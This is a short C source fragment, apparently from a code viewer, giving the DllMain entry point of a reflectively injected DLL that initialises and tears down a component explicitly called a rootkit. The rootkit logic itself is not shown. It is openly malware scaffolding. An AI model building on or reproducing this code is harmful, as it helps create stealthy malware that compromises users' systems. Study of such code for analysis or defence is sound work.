| 3 | #include "ReflectiveDllMain.h" |
| 4 | |
| 5 | BOOL WINAPI DllMain(_In_ HINSTANCE module, _In_ DWORD reason, _In_ LPVOID reserved) |
| 6 | { |
| 7 | if (reason == DLL_PROCESS_ATTACH) |
| 8 | { |
| 9 | if (!InitializeRootkit()) |
| 10 | { |
| 11 | // If the rootkit could not initialize, is already injected, or not eligible for this process, detach the DLL. |
| 12 | return FALSE; |
| 13 | } |
| 14 | } |
| 15 | else if (reason == DLL_PROCESS_DETACH) |
| 16 | { |
| 17 | UninitializeRootkit(); |
| 18 | } |
| 19 | |
| 20 | return TRUE; |
| 21 | } |
nothing calls this directly
no test coverage detected